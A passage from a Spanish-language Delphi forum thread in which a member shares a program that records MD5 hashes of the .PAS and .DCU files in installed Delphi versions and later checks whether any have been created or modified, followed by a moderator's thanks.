  14.   Checking: Boolean;
  15.  
  16. procedure Buscar(Path, Etiqueta: String; Recorte: Integer);
  17. var
  18. SR: TSearchRec;
  19. Str: String;
  20. begin
  21. Path:= IncludeTrailingPathDelimiter(Path);
  22. if FindFirst(Path + '*.*', faAnyfile, SR) = 0 then
  23. repeat
  24.   if (SR.Name <>  '.') and (SR.Name <> '..') then
  25.   begin
  26.     if (SR.Attr and faDirectory) = faDirectory then
  27.       Buscar(Path+SR.Name, Etiqueta, Recorte)
  28.     else
  29.     begin
  30.       Str:= Uppercase(ExtractFileExt(SR.Name));
  31.       if (Str = '.PAS') or  (Str = '.DCU') then
  32.       begin
  33.         Str:= Etiqueta + Copy(Path+SR.Name,Recorte,MAXINT) + '=' +
  34.           CalcHash(Path+SR.Name,haMd5);
  35.         if Checking then
  36.         begin
  37.           if Signatures.IndexOf(Str) < 0 then
  38.             MessageBox(0,PChar('El siguiente archivo ha sido creado o modificado:' + #13 +
  39.             Path+SR.Name),'Mensaje',MB_OK or MB_SETFOREGROUND or MB_TASKMODAL);
  40.         end else
  41.           Signatures.Add(Str);
  42.       end;
  43.     end;
  44.   end;
  45. until FindNext(SR) <> 0;
  46. FindClose(SR);
  47. end;
  48.  
  49. procedure Vamos(Key,Name,Etiqueta: String);
  50. var
  51.   Str: String;
  52. begin
  53.   with TRegistry.Create do
  54.   try
  55.     RootKey:= HKEY_LOCAL_MACHINE;
  56.     if OpenKeyReadOnly(Key) then
  57.     begin
  58.       if ValueExists(Name) then
  59.       begin
  60.         Str:= ReadString(Name);
  61.         Buscar(Str,Etiqueta,Length(Str)+1);
  62.       end;
  63.     end;
  64.   finally
  65.     Free;
  66.   end;
  67. end;
  68.  
  69. var
  70.   C: Char;
  71. begin
  72.   Checking:= FindCmdLineSwitch('CHECK',TRUE);
  73.   Signatures:= TStringList.Create;
  74.   try
  75.     if Checking then
  76.       Signatures.LoadFromFile(ChangeFileExt(ParamStr(0),'.txt'));
  77.     for C:= '0' to '9' do
  78.       Vamos('SOFTWARE\Borland\Delphi\' + C + '.0','RootDir','{Borland\Delphi\' + C + '.0}');
  79.     for C:= '0' to '9' do
  80.       Vamos('SOFTWARE\Borland\BDS\' + C + '.0','RootDir','{Borland\BDS\' + C + '.0}');
  81.     for C:= '0' to '9' do
  82.       Vamos('SOFTWARE\CodeGear\BDS\' + C + '.0','RootDir','{CodeGear\BDS\' + C + '.0}');
  83.     if not Checking then
  84.       Signatures.SaveToFile(ChangeFileExt(ParamStr(0),'.txt'));
  85.   finally
  86.     Signatures.Free;
  87.   end;
  88. end.



Ahora para comprobar si algún archivo ha sido modificado solo hay que ejecutar el mismo programa con el parámetro /Check y lo que es mas util, si tenemos el archivo con los md5 de otra persona podemos comparar una instalación con otra (en el zip con el código va mi archivo de hash con la instalación de turbo delphi y delphi 2009)

Archivos adjuntos


  • 0

#20 Wilson

Wilson

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.137 mensajes

Escrito 20 agosto 2009 - 09:42

Gracias por el aporte Seaone,  ya comentaremos las pruebas.
Saludos
  • 0




IP.Board spam blocked by CleanTalk.